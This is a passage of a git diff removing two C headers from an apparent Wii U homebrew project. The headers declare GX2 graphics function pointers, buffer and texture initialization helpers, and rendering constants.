software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __GX2_FUNCTIONS_H_ -#define __GX2_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "gx2_types.h" - -void InitGX2FunctionPointers(void); - -extern void (* GX2Init)(u32 * init_attribs); -extern void (* GX2Shutdown)(void); -extern void (* GX2Flush)(void); -extern s32 (* GX2GetMainCoreId)(void) ; -extern s32 (* GX2DrawDone)(void); -extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); -extern void (* GX2SetContextState)(const GX2ContextState* state); -extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); -extern void (* GX2SwapScanBuffers)(void); -extern void (* GX2SetTVEnable)(s32 enable); -extern void (* GX2SetSwapInterval)(u32 swap_interval); -extern u32 (* GX2GetSwapInterval)(void); -extern void (* GX2WaitForVsync)(void); -extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); -extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); -extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); -extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); -extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); -extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); -extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); -extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); -extern void (* GX2InitTextureRegs)(GX2Texture *texture); -extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); -extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); -extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); -extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -extern void (* GX2SetDRCScale)(u32 width, u32 height); -extern void (* GX2SetDRCEnable)(s32 enable); -extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); -extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -extern void (* GX2SetLineWidth)(f32 width); -extern void (* GX2SetTVGamma)(f32 val); -extern void (* GX2SetDRCGamma)(f32 val); -extern s32 (* GX2GetSystemTVScanMode)(void); -extern s32 (* GX2GetSystemDRCScanMode)(void); -extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); - -static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - depthBuffer->surface.dimension = dimension; - depthBuffer->surface.width = width; - depthBuffer->surface.height = height; - depthBuffer->surface.depth = depth; - depthBuffer->surface.num_mips = 1; - depthBuffer->surface.format = format; - depthBuffer->surface.aa = aa; - depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; - depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - depthBuffer->surface.swizzle = 0; - depthBuffer->view_mip = 0; - depthBuffer->view_first_slice = 0; - depthBuffer->view_slices_count = depth; - depthBuffer->clear_depth = 1.0f; - depthBuffer->clear_stencil = 0; - depthBuffer->hiZ_data = NULL; - depthBuffer->hiZ_size = 0; - GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); - GX2InitDepthBufferRegs(depthBuffer); -} - -static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - colorBuffer->surface.dimension = dimension; - colorBuffer->surface.width = width; - colorBuffer->surface.height = height; - colorBuffer->surface.depth = depth; - colorBuffer->surface.num_mips = 1; - colorBuffer->surface.format = format; - colorBuffer->surface.aa = aa; - colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; - colorBuffer->surface.image_size = 0; - colorBuffer->surface.image_data = NULL; - colorBuffer->surface.mip_size = 0; - colorBuffer->surface.mip_data = NULL; - colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - colorBuffer->surface.swizzle = 0; - colorBuffer->surface.align = 0; - colorBuffer->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - colorBuffer->surface.mip_offset[i] = 0; - colorBuffer->view_mip = 0; - colorBuffer->view_first_slice = 0; - colorBuffer->view_slices_count = depth; - colorBuffer->aux_data = NULL; - colorBuffer->aux_size = 0; - for(i = 0; i < 5; i++) - colorBuffer->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); - GX2InitColorBufferRegs(colorBuffer); -} - -static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) -{ - attr->location = location; - attr->buffer = buffer; - attr->offset = offset; - attr->format = format; - attr->index_type = 0; - attr->divisor = 0; - attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; - attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; -} - -static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) -{ - tex->surface.dimension = dimension; - tex->surface.width = width; - tex->surface.height = height; - tex->surface.depth = depth; - tex->surface.num_mips = num_mips; - tex->surface.format = format; - tex->surface.aa = GX2_AA_MODE_1X; - tex->surface.use = GX2_SURFACE_USE_TEXTURE; - tex->surface.image_size = 0; - tex->surface.image_data = NULL; - tex->surface.mip_size = 0; - tex->surface.mip_data = NULL; - tex->surface.tile = tile; - tex->surface.swizzle = 0; - tex->surface.align = 0; - tex->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - tex->surface.mip_offset[i] = 0; - tex->view_first_mip = 0; - tex->view_mips_count = num_mips; - tex->view_first_slice = 0; - tex->view_slices_count = depth; - tex->component_selector = texture_comp_selector[format & 0x3f]; - for(i = 0; i < 5; i++) - tex->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&tex->surface); - GX2InitTextureRegs(tex); -} - -#ifdef __cplusplus -} -#endif - -#endif // __GX2_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_types.h b/src/dynamic_libs/gx2_types.h deleted file mode 100644 index e292318..0000000 --- a/src/dynamic_libs/gx2_types.h +++ /dev/null @@ -1,699 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _GX2_TYPES_H_ -#define _GX2_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -//!----------------------------------------------------------------------------------------------------------------------- -//! Constants -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMMAND_BUFFER_SIZE 0x400000 -#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 -#define GX2_SHADER_ALIGNMENT 0x100 -#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 -#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 -#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 -#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 - -#define GX2_CONTEXT_STATE_SIZE 0xA100 - -#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC - -//!----------------------------------------------------------------------------------------------------------------------- -//! Common -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FALSE 0 -#define GX2_TRUE 1 -#define GX2_DISABLE 0 -#define GX2_ENABLE 1 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2InitAttrib -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INIT_ATTRIB_NULL 0 -#define GX2_INIT_ATTRIB_CB_BASE 1 -#define GX2_INIT_ATTRIB_CB_SIZE 2 -#define GX2_INIT_ATTRIB_ARGC 7 -#define GX2_INIT_ATTRIB_ARGV 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 compare functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMPARE_NEVER 0 -#define GX2_COMPARE_LESS 1 -#define GX2_COMPARE_EQUAL 2 -#define GX2_COMPARE_LEQUAL 3 -#define GX2_COMPARE_GREATER 4 -#define GX2_COMPARE_NOTEQUAL 5 -#define GX2_COMPARE_GEQUAL 6 -#define GX2_COMPARE_ALWAYS 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 stencil functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_STENCIL_KEEP 0 -#define GX2_STENCIL_ZERO 1 -#define GX2_STENCIL_REPLACE 2 -#define GX2_STENCIL_INCR 3 -#define GX2_STENCIL_DECR 4 -#define GX2_STENCIL_INVERT 5 -#define GX2_STENCIL_INCR_WRAP 6 -#define GX2_STENCIL_DECR_WRAP 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 logic op functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_LOGIC_OP_CLEAR 0x00 -#define GX2_LOGIC_OP_NOR 0x11 -#define GX2_LOGIC_OP_INVAND 0x22 -#define GX2_LOGIC_OP_INVCOPY 0x33 -#define GX2_LOGIC_OP_REVAND 0x44 -#define GX2_LOGIC_OP_INV 0x55 -#define GX2_LOGIC_OP_XOR 0x66 -#define GX2_LOGIC_OP_NAND 0x77 -#define GX2_LOGIC_OP_AND 0x88 -#define GX2_LOGIC_OP_EQUIV 0x99 -#define GX2_LOGIC_OP_NOOP 0xAA -#define GX2_LOGIC_OP_INVOR 0xBB -#define GX2_LOGIC_OP_COPY 0xCC -#define GX2_LOGIC_OP_REVOR 0xDD -#define GX2_LOGIC_OP_OR 0xEE -#define GX2_LOGIC_OP_SET 0xFF - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend combination functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_COMBINE_ADD 0x00 -#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 -#define GX2_BLEND_COMBINE_MIN 0x02 -#define GX2_BLEND_COMBINE_MAX 0x03 -#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 blend functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BLEND_ZERO 0x00 -#define GX2_BLEND_ONE 0x01 -#define GX2_BLEND_SRC_ALPHA 0x04 -#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 render targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_RENDER_TARGET_0 0 -#define GX2_RENDER_TARGET_1 1 -#define GX2_RENDER_TARGET_2 2 -#define GX2_RENDER_TARGET_3 3 -#define GX2_RENDER_TARGET_4 4 -#define GX2_RENDER_TARGET_5 5 -#define GX2_RENDER_TARGET_6 6 -#define GX2_RENDER_TARGET_7 7 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 cull modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FRONT_FACE_CCW 0 -#define GX2_FRONT_FACE_CW 1 -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 polygon modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_POLYGON_MODE_POINT 0 -#define GX2_POLYGON_MODE_LINE 1 -#define GX2_POLYGON_MODE_TRIANGLE 2 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 special states -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SPECIAL_STATE_CLEAR 0 -#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 -#define GX2_SPECIAL_STATE_COPY 2 -#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 -#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 -#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 -#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 -#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 -#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 attribute formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 -#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 -#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 -#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 -#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B -#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E - -#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 -#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 -#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 -#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 -#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B -#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E -#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 -#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 - -#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 -#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 -#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 -#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B -#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E - -#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 -#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 -#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 -#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 -#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B -#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E -#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 -#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 - -#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 -#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 -#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 -#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 -#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 -#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 -#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 -#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A -#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E -#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F -#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 -#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 - -#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 -#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 -#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 -#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 -#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 -#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 -#define GX2_SHADER_MODE_COMPUTE_SHADER 3 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMP_SEL_NONE 0x04040405 -#define GX2_COMP_SEL_X001 0x00040405 -#define GX2_COMP_SEL_XY01 0x00010405 -#define GX2_COMP_SEL_XYZ1 0x00010205 -#define GX2_COMP_SEL_XYZW 0x00010203 -#define GX2_COMP_SEL_XXXX 0x00000000 -#define GX2_COMP_SEL_YYYY 0x01010101 -#define GX2_COMP_SEL_ZZZZ 0x02020202 -#define GX2_COMP_SEL_WWWW 0x03030303 -#define GX2_COMP_SEL_WZYX 0x03020100 -#define GX2_COMP_SEL_WXYZ 0x03000102 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 variable types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_VAR_TYPE_VOID 0 -#define GX2_VAR_TYPE_BOOL 1 -#define GX2_VAR_TYPE_INT 2 -#define GX2_VAR_TYPE_UINT 3 -#define GX2_VAR_TYPE_FLOAT 4 -#define GX2_VAR_TYPE_DOUBLE 5 -#define GX2_VAR_TYPE_VEC2 9 -#define GX2_VAR_TYPE_VEC3 10 -#define GX2_VAR_TYPE_VEC4 11 -#define GX2_VAR_TYPE_MAT2 21 -#define GX2_VAR_TYPE_MAT3 25 -#define GX2_VAR_TYPE_MAT4 29 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 sample types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SAMPLER_TYPE_2D 1 - - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 index formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INDEX_FORMAT_U16 4 -#define GX2_INDEX_FORMAT_U32 9 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 primitive types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_PRIMITIVE_POINTS 0x01 -#define GX2_PRIMITIVE_LINES 0x02 -#define GX2_PRIMITIVE_LINE_STRIP 0x03 -#define GX2_PRIMITIVE_TRIANGLES 0x04 -#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 -#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 -#define GX2_PRIMITIVE_RECTS 0x11 -#define GX2_PRIMITIVE_QUADS 0x13 -#define GX2_PRIMITIVE_QUAD_STRIP 0x14 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 clear modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_CLEAR_DEPTH 0x01 -#define GX2_CLEAR_STENCIL 0x02 -#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 -#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 -#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 -#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 -#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a -#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b -#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c -#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f -#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 -#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 -#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a -#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f -#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 -#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 -#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 -#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 -#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 -#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 - -#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 -#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 -#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d -#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f -#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a -#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b -#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c -#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 - -#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 -#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 -#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f -#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f -#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 -#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 - -#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 -#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 -#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d -#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a -#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 - -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a -#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 -#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 -#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 - -#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 -#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e -#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 -#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 -#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 -#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c -#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c -#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tile modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TILE_MODE_DEFAULT 0x00000000 -#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface use -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_USE_TEXTURE 0x00000001 -#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 -#define 